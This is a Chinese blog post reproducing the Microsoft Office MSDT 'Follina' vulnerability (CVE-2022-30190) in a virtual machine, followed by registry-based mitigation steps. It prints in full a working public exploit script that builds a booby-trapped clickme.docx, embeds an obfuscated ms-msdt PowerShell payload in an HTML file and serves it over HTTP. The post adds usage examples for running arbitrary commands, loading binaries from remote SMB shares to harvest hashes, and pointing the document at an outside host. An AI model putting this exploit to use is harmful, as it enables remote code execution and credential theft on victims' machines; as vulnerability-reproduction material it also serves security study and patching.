Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现

这篇具有很好参考价值的文章主要介绍了Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

CVE-2022-30190漏洞复现

漏洞概述:

该漏洞首次发现在2022 年 5 月 27 日,由白俄罗斯的一个 IP 地址上传。恶意文档从 Word 远程模板功能从远程 Web 服务器检索 HTML 文件,通过 ms-msdt MSProtocol URI方法来执行恶意PowerShell代码。感染过程利用 Windows 程序 msdt.exe,该程序用于运行各种 Windows 疑难解答程序包。此工具的恶意文档无需用户交互即可调用它。导致在宏被禁用的情况下,恶意文档依旧可以使用 ‘ms-msdt’ URI执行任意PowerShell代码。

影响版本:

目前已知影响的版本为:

  • office 2021 Lts

  • office 2019

  • office 2016

  • Office 2013

  • Office ProPlus

  • Office 365

漏洞复现:

使用网上已公开的poc

https://github.com/chvancooten/follina.py

#!/usr/bin/env python3
import argparse
import os
import zipfile
import http.server
import socketserver
import base64

# Helper function to zip whole dir
# https://stackoverflow.com/questions/1855095/how-to-create-a-zip-archive-of-a-directory
def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            os.utime(os.path.join(root, file), (1653895859, 1653895859))
            ziph.write(os.path.join(root, file), 
                       os.path.relpath(
                            os.path.join(root, file), 
                            path
                       ))

if __name__ == "__main__":

    # Parse arguments
    parser = argparse.ArgumentParser()
    required = parser.add_argument_group('Required Arguments')
    binary = parser.add_argument_group('Binary Execution Arguments')
    command = parser.add_argument_group('Command Execution Arguments')
    optional = parser.add_argument_group('Optional Arguments')
    required.add_argument('-m', '--mode', action='store', dest='mode', choices={"binary", "command"},
        help='Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command', required=True)
    binary.add_argument('-b', '--binary', action='store', dest='binary', 
        help='The full path of the binary to run. Can be local or remote from an SMB share')
    command.add_argument('-c', '--command', action='store', dest='command',
        help='The encoded command to execute in "command" mode')
    optional.add_argument('-u', '--url', action='store', dest='url', default='localhost',
        help='The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"')
    optional.add_argument('-H', '--host', action='store', dest='host', default="0.0.0.0",
        help='The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)')
    optional.add_argument('-P', '--port', action='store', dest='port', default=80, type=int,
        help='The port to run the HTTP server on, defaults to 80')
    args = parser.parse_args()

    if args.mode == "binary" and args.binary is None:
        raise SystemExit("Binary mode requires a binary to be specified, e.g. -b '\\\\localhost\\c$\\Windows\\System32\\calc.exe'")


    if args.mode == "command" and args.command is None:
        raise SystemExit("Command mode requires a command to be specified, e.g. -c 'c:\\windows\\system32\\cmd.exe /c whoami > c:\\users\\public\\pwned.txt'")

    payload_url = f"http://{args.url}:{args.port}/exploit.html"

    if args.mode == "command":
        # Original PowerShell execution variant
        command = args.command.replace("\"", "\\\"")
        encoded_command = base64.b64encode(bytearray(command, 'utf-16-le')).decode('UTF-8') # Powershell life...
        payload = fr'''"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{encoded_command}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""'''

    if args.mode == "binary":
        # John Hammond binary variant
        binary_path = args.binary.replace('\\', '\\\\').rstrip('.exe')
        payload = fr'"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$({binary_path})/.exe\""'

    # Prepare the doc file
    with open("src/document.xml.rels.tpl", "r") as f:
        tmp = f.read()

    payload_rels = tmp.format(payload_url = payload_url)

    if not os.path.exists("src/clickme/word/_rels"):
        os.makedirs("src/clickme/word/_rels")

    with open("src/clickme/word/_rels/document.xml.rels", "w") as f:
        f.write(payload_rels)

    with zipfile.ZipFile('clickme.docx', 'w', zipfile.ZIP_DEFLATED) as zipf:
        zipdir('src/clickme/', zipf)

    print("Generated 'clickme.docx' in current directory")


    # Prepare the HTML payload
    if not os.path.exists("www"):
        os.makedirs("www")

    with open("src/exploit.html.tpl", "r") as f:
        tmp = f.read()

    payload_html = tmp.format(payload = payload)

    with open("www/exploit.html", "w") as f:
        f.write(payload_html)

    print("Generated 'exploit.html' in 'www' directory")


    # Host the payload
    class Handler(http.server.SimpleHTTPRequestHandler):
        def __init__(self, *args, **kwargs):
            super().__init__(*args, directory="www", **kwargs)

    print(f"Serving payload on {payload_url}")
    with socketserver.TCPServer((args.host, args.port), Handler) as httpd:
        httpd.serve_forever()

使用方法:

python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] [-u URL] [-H HOST] [-p PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -p PORT, --port PORT  The port to run the HTTP server on, defaults to 80
  
例子:
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

利用:

office下载地址:

https://otp.landian.vip/zh-cn/download.html

由于我在虚拟机复现,所以使用第5个例子,这样可以远程加载我的HTML

python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4

Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现

把生成的文档放到虚拟机打开,成功复现

Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现

修复建议:

禁用 MSDT URL 协议可防止故障排除程序作为链接启动,包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用:

  1. 以管理员身份运行命令提示符。

  2. 要备份注册表项,请执行命令“reg export HKEY_CLASSES_ROOT\ms-msdt filename ”

  3. 执行命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。

如何撤消解决方法

  1. 以管理员身份运行命令提示符。

  2. 要恢复注册表项,请执行命令“reg import filename”

使用抖音扫一扫关注我,带你学习网安知识,渗透实战,红队技巧。
Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现

参考:

https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e

https://www.t00ls.com/thread-65967-1-1.html

https://mp.weixin.qq.com/s/GjFG93PFROwbe8P1rtX6Qg文章来源地址https://www.toymoban.com/news/detail-458933.html

到了这里,关于Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • MICROSOFT OFFICE MSDT操作系统命令注入漏洞(CVE-2022-30190)

    目录 漏洞概述 受到影响的产品和版本 漏洞复现 1、搭建靶场 2、攻击复现 一、执行系统程序 二、执行系统命令 修复 Microsoft Windows Support Diagnostic Tool是美国微软(Microsoft)公司的收集信息以发送给 Microsoft 支持的工具(Windows上的微软支持诊断工具中存在此漏洞)。当从Word等

    2024年02月06日
    浏览(26)
  • Windows支持诊断工具(MSDT)远程代码执行漏洞:CVE-2022-30190学习及复现

    Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve编号为CVE-2022-30190,其能够在非管理员权限、禁用宏且在windows defender开启的情况下绕过防护,达到上线的效果。 当从Word等应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,攻击者通过制作恶意的

    2024年02月08日
    浏览(35)
  • Windows MSDT RCE(CVE-2022-30190)复现

    可利用恶意 Office 文件中的远程模板功能从远程网络服务器获取恶意 HTML 文件,通过微软支持诊断工具(Microsoft Support Diagnostic Tool,MSDT)执行恶意 PowerShell 代码。该漏洞在宏被禁用的情况下,仍然可以调用 MSDT 执行恶意代码。并且当恶意文件另存为 RTF 格式时,还可以通过

    2024年02月07日
    浏览(26)
  • CVE-2022-21907 Microsoft Windows HTTP 协议栈远程代码执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载: 开启IIS: 0x06 漏洞复现: 利用POC: 0x07 流量分析: 客户端: 0x08 修复建议:         仅供学习参考使用,请勿用作违法用途,否则后果自负。         Microsoft Windows HTTP 协议栈(HTTP.

    2024年02月03日
    浏览(43)
  • Microsoft Remote Procedure Call Runtime 远程代码执行漏洞(CVE-2022-26809)

    CVE 描述 CVE-2022-26809 - 核心 Windows 组件 (RPC) 的弱点获得 9.8 的 CVSS 分数并非没有原因,因为攻击不需要身份验证并且可以通过网络远程执行,并且可能导致远程代码执行 ( RCE) 具有 RPC 服务的权限,这取决于托管 RPC 运行时的进程。运气好的话,这个严重的错误允许访问运行 S

    2024年02月05日
    浏览(31)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(26)
  • 复现CVE-2022-10270(向日葵远程代码执行漏洞)

    目录 引言 漏洞描述 影响版本: 原理: 环境搭建 手动复现 脚本复现 修复建议         本文内容仅供学习参考,若读者利用本文内容做出违法行为,笔者不提供担保!!!         向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持

    2024年02月07日
    浏览(35)
  • Atlassian Confluence远程代码执行漏洞(CVE-2022-26134)

    Atlassian Confluence远程代码执⾏漏洞(CVE-2022-26134),这是一个高危漏洞可通过该漏洞直接获取目标系统权限。 Atlassian Confluence是⼀个专业的企业知识管理与协同软件,主要⽤于公司内员⼯创建知识库并建⽴知识管理流程,也可以⽤于构建企业wiki。 之前看到过Confluence这个洞没太在

    2024年02月16日
    浏览(31)
  • 【Microsoft Message Queuing远程代码执行漏洞(CVE-2023-21554)漏洞修复】

    Windows 消息队列服务是一个Windows组件,需要系统启用该组件才能利用此漏洞,该组件可以通过控制面板添加。Microsoft Message Queuing中存在远程代码执行漏洞,未经身份验证的远程攻击者通过向MSMQ服务器发送特制的恶意MSMQ数据包触发此漏洞,最终实现在服务器端远程代码执行,

    2024年02月15日
    浏览(29)
  • Goby漏洞更新 | PbootCMS 3.1.2 远程代码执行漏洞(CVE-2022-32417)

    PbootCMS是PbootCMS个人开发者的一款使用PHP语言开发的开源企业建站内容管理系统(CMS)。PbootCMS 3.1.2版本中存在安全漏洞,攻击者可通过该漏洞引发代码远程执行。 PbootCMS 3.1.2版本中存在安全漏洞,攻击者可通过该漏洞引发代码远程执行。 FOFA查询语句(点击直接查看结果):

    2024年02月04日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包